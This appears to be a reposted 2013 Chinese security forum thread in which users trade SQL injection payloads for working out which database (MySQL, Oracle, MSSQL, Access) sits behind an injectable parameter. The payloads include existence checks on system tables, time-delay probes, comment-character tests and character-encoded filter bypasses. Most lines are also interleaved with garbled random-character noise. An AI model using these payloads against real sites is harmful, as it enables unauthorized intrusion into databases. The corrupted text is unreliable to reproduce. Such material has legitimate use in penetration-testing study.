一个注射点如何最快速确认是什么类型数据库2 v. T3 c, E3 T
xsser (十根阳具有长短!!) | 2013-02-05 12:36
5 R7 R% R# p9 x! J1 |9 t' R假设这么一个注射点:
% H* k, r8 }- P5 t/ E; s, lshow.html?id=2. N2 [1 g- l5 F" F' f
mysql:id=2 and version()>0
4 a: I4 \8 ], C c- N3 woracle:id=2 and '1'||'1'='114 O4 H t% f1 Z* v& k
其他的欢迎补充- v6 }. [! R* y0 Q0 T9 { N
1#
# _$ m$ y) f: r3 Mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
' b, L2 Q T( U/ q( KAccess:! s" J4 b) s$ X8 m$ B* e
aNd aSc(cHr(97))=97) O B7 e2 h' E( T3 c+ y, [
and exists(select id from MSysAccessObjects)! d: r' ?% }+ ?' k, z
SQL Server:% L& C& B3 d9 r# I4 f q
and exists(select id from sysobjects)
5 e: O. @/ L3 A0 ^, J. V1 [! N8 tand length(user)>0
4 p; U3 E# [0 X" `/ w7 @, u8 n' MMySQL:
$ V7 ^* ~' D4 Cand length(user())>0+ e) C. S4 \2 a9 j
2#
# ~/ m+ z. P& w9 e p, txsser (十根阳具有长短!!) | 2013-02-05 12:487 _2 C4 d8 b& z
@upload 如果这些都不是呢…
/ ~* u8 L! Y' f3#
, H/ [. h* U7 |3 X7 H7 D' Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
+ z9 l" w) p3 m/ v! Q@xsser 不快速的,延时注入$ f2 h- \# K8 ^ v- v
不知道这样写对不对
4 T) c7 \# [. v; Y) h% E+ Tmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
6 Z! A+ g0 z' n' e, |4 r( L( p; |mysql:id=2 and select benchmark(1e8,current_date());/ k; k* `8 P/ }+ W
4#
2 R- H3 P& v/ Rupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
( S$ b% T2 E& m2 O2 D最快的貌似是看报错信息$ \& E9 }+ R. U# M. Q* }* Z; c' g
oracle error& n" o% d! j+ ]1 G, g
mssql error
- x3 J- b5 j/ B; W4 b- Smysql error
' v% p* U" z$ d6 k8 l D% ~5#/ Q. K6 @. u0 I; D# t% X( E6 N% Y6 d
Nimda (你们都是坏银~) | 2013-02-05 13:14
: \% [$ J3 W! a/ s, O小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)" b/ @3 G! j h9 U. D
6#" c0 R! p; m8 R2 g3 }
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
+ y t7 [: l4 m" S“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
) n* h: e! w, C“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
4 r! |/ o8 S; t, M. G“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。6 a* W0 \2 A4 n
7#
5 L; d: h7 X5 r$ M/ {. h_Evil (HackEnd) | 2013-02-05 13:33
5 {- m' z3 n* B, \7 X' G/ Z VPostgreSQL
6 L }* L7 M5 B/ U+ ~' w' h8#
( ?8 @6 t6 v/ Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42- o/ k6 u' d6 w
切换编码 and 1=1+ {( z2 R6 s! H7 k/ g
oracle:' l+ H: Q) t0 w( A1 n. [6 c( w( v V
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)) x: {) ~# ~7 W3 H1 d$ @6 R
mssql:
6 R$ t5 @/ V/ d# w! f- i CCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)' V: ?1 B+ u9 _6 H3 q/ I! {" r9 d
mysql:% P: C$ b- ?' d* Q
CHAR(97, 110, 100, 32, 49, 61, 49)2 F3 [9 x/ j. [4 W( ?. j- H
9#
+ T$ k( w' T0 p: a8 Yxsser (十根阳具有长短!!) | 2013-02-05 14:31
2 V/ E' p! w6 t. ?@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?: c+ q. r( }, O& ]
10#
5 S# h1 B8 S' o, i- Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
: M) h. [. ^& b" I- P% y" \5 [# t@xsser 是奇葩数据库类型的么?
/ _" w$ u, v& j; P7 ?5 r( I5 g根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
. h8 J* [8 |4 v$ q$ ` ]% y2 G1.是否可以使用特定的函数来判断,该数据库特有的, T& u0 C- l4 M# ]) U. x1 h
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
% e8 h7 w8 j. h' j1 m, n2 `- R+ o6 M3.是否可以编码查询
) D) Z( E; @% T$ E8 q, V4 w: z4.是否显可以利用错信息( }9 t- [/ ^" p0 @3 c) f" F
5.是否存在数据库某些特性辅助判断
/ Y; L7 I! e5 h" y: d4 I5 L个人见解
* o7 D) m5 V ]9 q& T% _11#) T/ V3 B# h6 U& k- a" [. @6 ?
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:551 R- a l- F% g" ~# s
已收藏,mssql可以直接看到错误提示的吧~
, K; y2 j2 {. P' n4 G* v12#/ E4 S, _" v, c5 O
Passer_by | 2013-02-05 15:09
8 D0 i0 L! V, P, H! S9 h曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。6 M( z3 D7 q$ d" e3 N' R
from:http://zone.wooyun.org/content/260 |